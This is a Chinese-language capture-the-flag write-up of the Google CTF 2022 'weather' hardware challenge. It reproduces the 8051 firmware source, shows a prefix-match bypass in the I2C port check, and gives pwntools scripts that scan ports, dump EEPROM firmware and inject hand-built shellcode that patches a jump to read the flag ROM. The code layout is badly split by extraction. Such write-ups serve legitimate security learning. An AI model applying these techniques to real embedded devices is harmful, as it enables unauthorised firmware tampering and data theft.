之前尝试挖iot设备的漏洞大多是基于对固件的分析,对硬件层面的东西还不太熟悉,正好开学数电计组连考积累了一点点这方面最基础的东西,于是就找了这道题来做个人了解硬件的一个入门
当时看着xuanxuan师傅的博客,遇到了很多问题也学到了许多零散的知识,总结如下:
(1)I2C总线
(2)SPI协议
(3)EEPROM
(4)8051的特殊寄存器sfr
下载下来的赛题环境里有个docker,从dockerfile里可以看出运行在1337端口:
使用如下命令运行docker:
1
2
|
docker build
-
t hardware:weather .
docker run
-
-
privileged
-
p xxxx:
1337
-
d hardware:weather
|
然后使用nc指令就能连上了:
1
|
nc
127.0
.
0.1
1337
|
附件通过一个pdf提供了赛题的集成电路图:
可以看出:
(1)存在5个传感器,通过IIC总线连接
(2) EEPROM与8051通过SPI协议相连,并且都有IIC总线接口
(3)Flag位于8051的FlagROM
分析题目提供的源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
|
#include <stdint.h>
#include <stdbool.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
/
/
Secret ROM controller.
__sfr __at(
0xee
) FLAGROM_ADDR;
__sfr __at(
0xef
) FLAGROM_DATA;
/
/
Serial controller.
__sfr __at(
0xf2
) SERIAL_OUT_DATA;
__sfr __at(
0xf3
) SERIAL_OUT_READY;
__sfr __at(
0xfa
) SERIAL_IN_DATA;
__sfr __at(
0xfb
) SERIAL_IN_READY;
/
/
I2C DMA controller.
__sfr __at(
0xe1
) I2C_STATUS;
__sfr __at(
0xe2
) I2C_BUFFER_XRAM_LOW;
__sfr __at(
0xe3
) I2C_BUFFER_XRAM_HIGH;
__sfr __at(
0xe4
) I2C_BUFFER_SIZE;
__sfr __at(
0xe6
) I2C_ADDRESS;
/
/
7
-
bit address
__sfr __at(
0xe7
) I2C_READ_WRITE;
/
/
Power controller.
__sfr __at(
0xff
) POWEROFF;
__sfr __at(
0xfe
) POWERSAVE;
const char
*
ALLOWED_I2C[]
=
{
/
/
五个传感器
"101"
,
/
/
Thermometers (
4x
).
"108"
,
/
/
Atmospheric pressure sensor.
"110"
,
/
/
Light sensor A.
"111"
,
/
/
Light sensor B.
"119"
,
/
/
Humidity sensor.
NULL
};
int8_t i2c_write(int8_t port, uint8_t req_len, __xdata uint8_t
*
buf) {
while
(I2C_STATUS
=
=
1
) {
POWERSAVE
=
1
;
/
/
Enter power save mode
for
a few milliseconds.
}
I2C_BUFFER_XRAM_LOW
=
(uint8_t)(uint16_t)buf;
I2C_BUFFER_XRAM_HIGH
=
(uint8_t)((uint16_t)buf >>
8
);
I2C_BUFFER_SIZE
=
req_len;
I2C_ADDRESS
=
port;
I2C_READ_WRITE
=
0
;
/
/
Start write.
int8_t status;
while
((status
=
I2C_STATUS)
=
=
1
) {
POWERSAVE
=
1
;
/
/
Enter power save mode
for
a few milliseconds.
}
return
status;
}
int8_t i2c_read(int8_t port, uint8_t req_len, __xdata uint8_t
*
buf) {
while
(I2C_STATUS
=
=
1
) {
POWERSAVE
=
1
;
/
/
Enter power save mode
for
a few milliseconds.
}
I2C_BUFFER_XRAM_LOW
=
(uint8_t)(uint16_t)buf;
I2C_BUFFER_XRAM_HIGH
=
(uint8_t)((uint16_t)buf >>
8
);
I2C_BUFFER_SIZE
=
req_len;
I2C_ADDRESS
=
port;
I2C_READ_WRITE
=
1
;
/
/
Start read.
int8_t status;
while
((status
=
I2C_STATUS)
=
=
1
) {
POWERSAVE
=
1
;
/
/
Enter power save mode
for
a few milliseconds.
}
return
status;
}
const char
*
i2c_status_to_error(int8_t err) {
switch (err) {
case
0
:
return
"i2c status: transaction completed / ready\n"
;
case
1
:
return
"i2c status: busy\n"
;
case
2
:
return
"i2c status: error - device not found\n"
;
case
3
:
return
"i2c status: error - device misbehaved\n"
;
}
return
"i2c status: unknown error\n"
;
}
void serial_print(const char
*
s) {
while
(
*
s) {
while
(!SERIAL_OUT_READY) {
/
/
Busy wait...
}
SERIAL_OUT_DATA
=
*
s
+
+
;
}
}
char serial_read_char(void) {
while
(
1
) {
if
(SERIAL_IN_READY) {
return
(char)SERIAL_IN_DATA;
}
POWERSAVE
=
1
;
/
/
Enter power save mode
for
a few milliseconds.
}
}
struct tokenizer_st {
char
*
ptr;
int
replaced;
};
void tokenizer_init(struct tokenizer_st
*
t, char
*
str
) {
t
-
>ptr
=
str
;
t
-
>replaced
=
0x7fff
;
}
char
*
tokenizer_next(struct tokenizer_st
*
t) {
if
(t
-
>replaced !
=
0x7fff
) {
*
t
-
>ptr
=
(char)t
-
>replaced;
}
while
(
*
t
-
>ptr
=
=
' '
) {
t
-
>ptr
+
+
;
}
if
(
*
t
-
>ptr
=
=
'\0'
) {
return
NULL;
}
char
*
token_start
=
t
-
>ptr;
for
(;;) {
char ch
=
*
t
-
>ptr;
if
(ch !
=
' '
&& ch !
=
'\0'
) {
t
-
>ptr
+
+
;
continue
;
}
t
-
>replaced
=
*
t
-
>ptr;
*
t
-
>ptr
=
'\0'
;
return
token_start;
}
}
uint8_t str_to_uint8(const char
*
s) {
uint8_t v
=
0
;
while
(
*
s) {
uint8_t digit
=
*
s
+
+
-
'0'
;
if
(digit >
=
10
) {
return
0
;
}
v
=
v
*
10
+
digit;
}
return
v;
}
void uint8_to_str(char
*
buf, uint8_t v) {
if
(v >
=
100
) {
*
buf
+
+
=
'0'
+
v
/
100
;
}
if
(v >
=
10
) {
*
buf
+
+
=
'0'
+
(v
/
10
)
%
10
;
}
*
buf
+
+
=
'0'
+
v
%
10
;
*
buf
=
'\0'
;
}
bool
is_port_allowed(const char
*
port) {
/
/
前缀匹配
for
(const char
*
*
allowed
=
ALLOWED_I2C;
*
allowed; allowed
+
+
) {
const char
*
pa
=
*
allowed;
const char
*
pb
=
port;
bool
allowed
=
true;
while
(
*
pa &&
*
pb) {
if
(
*
pa
+
+
!
=
*
pb
+
+
) {
allowed
=
false;
break
;
}
}
if
(allowed &&
*
pa
=
=
'\0'
) {
return
true;
}
}
return
false;
}
int8_t port_to_int8(char
*
port) {
if
(!is_port_allowed(port)) {
return
-
1
;
}
return
(int8_t)str_to_uint8(port);
}
#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int
main(void) {
serial_print(
"Weather Station\n"
);
static __xdata char cmd[CMD_BUF_SZ];
static __xdata uint8_t i2c_buf[I2C_BUF_SZ];
while
(true) {
serial_print(
"? "
);
int
i;
for
(i
=
0
; i < CMD_BUF_SZ; i
+
+
) {
char ch
=
serial_read_char();
if
(ch
=
=
'\n'
) {
cmd[i]
=
'\0'
;
break
;
}
cmd[i]
=
ch;
}
if
(i
=
=
CMD_BUF_SZ) {
serial_print(
"-err: command too long, rejected\n"
);
continue
;
}
struct tokenizer_st t;
tokenizer_init(&t, cmd);
char
*
p
=
tokenizer_next(&t);
if
(p
=
=
NULL) {
serial_print(
"-err: command format incorrect\n"
);
continue
;
}
bool
write;
if
(
*
p
=
=
'r'
) {
write
=
false;
}
else
if
(
*
p
=
=
'w'
) {
write
=
true;
}
else
{
serial_print(
"-err: unknown command\n"
);
continue
;
}
/
/
首先获取操作符
p
=
tokenizer_next(&t);
if
(p
=
=
NULL) {
serial_print(
"-err: command format incorrect\n"
);
continue
;
}
int8_t port
=
port_to_int8(p);
/
/
获取操作端口
if
(port
=
=
-
1
) {
serial_print(
"-err: port invalid or not allowed\n"
);
continue
;
}
p
=
tokenizer_next(&t);
if
(p
=
=
NULL) {
serial_print(
"-err: command format incorrect\n"
);
continue
;
}
uint8_t req_len
=
str_to_uint8(p);
/
/
获取操作长度
if
(req_len
=
=
0
|| req_len > I2C_BUF_SZ) {
serial_print(
"-err: I2C request length incorrect\n"
);
continue
;
}
if
(write) {
/
/
将写入数据从
str
转换为uint8数组
for
(uint8_t i
=
0
; i < req_len; i
+
+
) {
p
=
tokenizer_next(&t);
if
(p
=
=
NULL) {
break
;
}
i2c_buf[i]
=
str_to_uint8(p);
}
int8_t ret
=
i2c_write(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
}
else
{
int8_t ret
=
i2c_read(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
for
(uint8_t i
=
0
; i < req_len; i
+
+
) {
char num[
4
];
uint8_to_str(num, i2c_buf[i]);
serial_print(num);
if
((i
+
1
)
%
16
=
=
0
&& i
+
1
!
=
req_len) {
serial_print(
"\n"
);
}
else
{
serial_print(
" "
);
}
}
serial_print(
"\n-end\n"
);
}
}
/
/
Should never reach this place.
}
|
通过标志性的语法“sfr at”可以分析出这个是基于SDCC开发的
可以下载一个SDCC的官方编译器,甚至默认安装选项里就会自动添加环境变量(windows环境),非常方便,在windows的cmd中输入如下命令便可编译:
1
|
sdcc firmware.c
|
编译得到如下文件
其中ihx是可逆向的文件,笔者使用的ida7.7貌似不能直接识别为8051,需要手工选择:
程序提供了两个形式的输入指令:
1
2
|
w port size <PageIndex> <
4ByteWriteKey
> <ClearMask> ... <ClearMask>
r port size
|
其中对port有个检查:
发现有个明显的漏洞,就是对于匹配的“101”字符,输入“101xxxxxxx”居然也能通过这个匹配
结合后面的str_to_int8可以得到最终的端口号为"101xxxx % 256"
又因为:
所以:
又因为IIc总线最多支持128个设备,于是我们从101120~101120+128爆破扫描128次即可爆破出所有端口
爆破脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
from
pwn
import
*
context.arch
=
'i386'
##context.log_level='debug'
def
z():
gdb.attach(r)
io
=
lambda
: r.interactive()
sl
=
lambda
a : r.sendline(a)
sla
=
lambda
a,b : r.sendlineafter(a,b)
se
=
lambda
a : r.send(a)
sa
=
lambda
a,b : r.sendafter(a,b)
lg
=
lambda
name,data : log.success(name
+
":"
+
hex
(data))
if
__name__
=
=
"__main__"
:
global
r
#r = process("./test")
r
=
remote(
"127.0.0.1"
,
1337
)
for
i
in
range
(
0
,
129
):
test
=
101120
+
i
pd
=
"r %s 4"
%
test
sla(
"?"
,pd)
a
=
r.recvuntil(
"-end"
)
if
"error"
not
in
a :
print
(
"[+]port found :%s"
%
i)
print
(a)
io()
|
扫出来一个题目没有的33号端口,十分可疑
用r指令读一下(读最大的128字节)试试:
结合ida逆向的ihx文件:
发现这两者高度吻合,那么基本可以确定33号port就是EEPROM了,也就是EEPROM挂载到了8051的I2C总线上了
但是存在一个问题——ihx文件里面从0x40开始是有东西的,但是输出里显示从"\x44\x00"过后就没东西了
从pdf里可以看出只输出了一页的内容
那么如果把8051的固件全部dump下来,我们需要对EEPROM的页进行切换
注意到给的pdf的这里:
"W"指令有一个PageIndex,选择写EEPROM是写具体的哪一页,那么我们应该能够通过如下指令切换EEPROM的页:
1
|
W port
1
<PageIndex>
|
也就是在不提供wirtekey的情况下实现EPPROM页的切换:
把这64页都读一遍就可以把8051的固件dump下来了
dump脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
from
pwn
import
*
def
int_to_bytes(x):
return
int
(a,
10
).to_bytes(
1
,
'little'
)
if
__name__
=
=
"__main__"
:
#a = "16"
#print(int(a,10).to_bytes(1,'little'))
f
=
open
(
"firmware.bin"
,
"wb"
)
r
=
remote(
"127.0.0.1"
,
1337
)
for
i
in
range
(
0
,
64
):
r.sendlineafter(b
"?"
,(
"w 101153 1 %s"
%
str
(i)).encode())
r.sendlineafter(b
"?"
,b
"r 101153 64"
)
r.recvuntil(b
"ready\n"
)
a
=
r.recvuntil(b
"-end"
,drop
=
True
)
a
=
a.replace(b
"\n"
,b
" "
)
a
=
a.decode(
'utf-8'
).split(
' '
)[:
-
2
]
assert
(
len
(a)
=
=
64
)
for
j
in
a :
f.write(
int
(j,
10
).to_bytes(
1
,
'little'
))
f.close()
r.interactive(
|
把dump下来的文件放入ida发现和ihx文件几乎没有差别
紧接着我们就要考虑如何通过往EEPROM里擦写,劫持8051的运行流,读取FlagROM里的flag
对于这题,运行流劫持最方便的手法肯定是绝对地址跳转
逆向发现一共有两种绝对地址跳转:
(1)ljmp:
(2)lcall:
指令形式非常好理解:
1
|
02
/
12
aa bb :aa bb 为地址
|
我们希望得到一个0x[b~f]00的地址,那么只需要考虑aa的情况(因为bb异或bb就直接清零了)
经过寻找发现这里比较合适,因为这里正好有个0x7E,改改就能改成0x0E(完全参考了xuanxuan师傅的思路):
(ps:这里用的是dump下来的文件,和题目给的编译出来的会有差别)
改成这个样子:
然后在0xe00处布置好shellcode就行了
写这个shellcode主要是对FLAGROM_ADDR和FLAGROM_DATA以及SERIAL_OUT_DATA这三个SFR的操作:
1
2
3
4
5
|
/
/
Secret ROM controller.
__sfr __at(
0xee
) FLAGROM_ADDR;
__sfr __at(
0xef
) FLAGROM_DATA;
/
/
Serial controller.
__sfr __at(
0xf2
) SERIAL_OUT_DATA;
|
如果用c语言写的话应该是这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#include <stdint.h>
#include <stdbool.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
/
/
Secret ROM controller.
__sfr __at(
0xee
) FLAGROM_ADDR;
__sfr __at(
0xef
) FLAGROM_DATA;
/
/
Serial controller.
__sfr __at(
0xf2
) SERIAL_OUT_DATA;
void main(void) {
for
(
int
i
=
0
; i<
255
; i
+
+
){
FLAGROM_ADDR
=
i;
SERIAL_OUT_DATA
=
FLAGROM_DATA;
}
}
|
直接编译然后用它的汇编有点长,所以考虑对着这篇博客的手册手搓汇编和机器码:
https://blog.csdn.net/qq_30787727/article/details/111239582
汇编:
1
2
3
4
5
6
7
8
9
10
11
|
void main(void) {
__asm
mov R7,
#0
mov A, R7
mov _FLAGROM_ADDR, A
mov A, _FLAGROM_DATA
mov _SERIAL_OUT_DATA, A
INC R7
ljmp
0xe02
__endasm;
}
|
编译出的机器码:
那么我们就可以根据机器码然后转成10进制(题目格式)数了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
from
pwn
import
*
context.arch
=
'i386'
##context.log_level='debug'
def
z():
gdb.attach(r)
io
=
lambda
: r.interactive()
sl
=
lambda
a : r.sendline(a)
sla
=
lambda
a,b : r.sendlineafter(a,b)
se
=
lambda
a : r.send(a)
sa
=
lambda
a,b : r.sendafter(a,b)
lg
=
lambda
name,data : log.success(name
+
":"
+
hex
(data))
if
__name__
=
=
"__main__"
:
global
r
#r = process("./test")
r
=
remote(
"127.0.0.1"
,
1337
)
shellcode
=
[
0x7F
,
0x0
]
#mov R7, #0
shellcode
+
=
[
0xEF
]
#mov A, R7
shellcode
+
=
[
0xF5
,
0xEE
]
#mov _FLAGROM_ADDR, A
shellcode
+
=
[
0xE5
,
0xEF
]
#mov A, _FLAGROM_DATA
shellcode
+
=
[
0xF5
,
0xF2
]
#mov _SERIAL_OUT_DATA, A
shellcode
+
=
[
0x0F
]
#INC R7
shellcode
+
=
[
0x02
,
0x0E
,
0x02
]
#ljump 0xe02
s
=
''
for
i
in
shellcode :
s
+
=
str
(
255
-
i)
+
" "
print
(s)
sla(b
"?"
,b
"w 101153 100 56 165 90 165 90 "
+
s.encode())
sla(b
"?"
,b
"w 101153 100 19 165 90 165 90 "
+
b
'0 '
*
51
+
b
"255 255 253 241"
)
io()
|
学到了SDCC的基础语法和汇编指令,对硬件层面又有了新的认识
https://xuanxuanblingbling.github.io/iot/2022/11/02/8051/
更多【[Googlectf2022]硬件题weather】相关视频教程:www.yxfzedu.com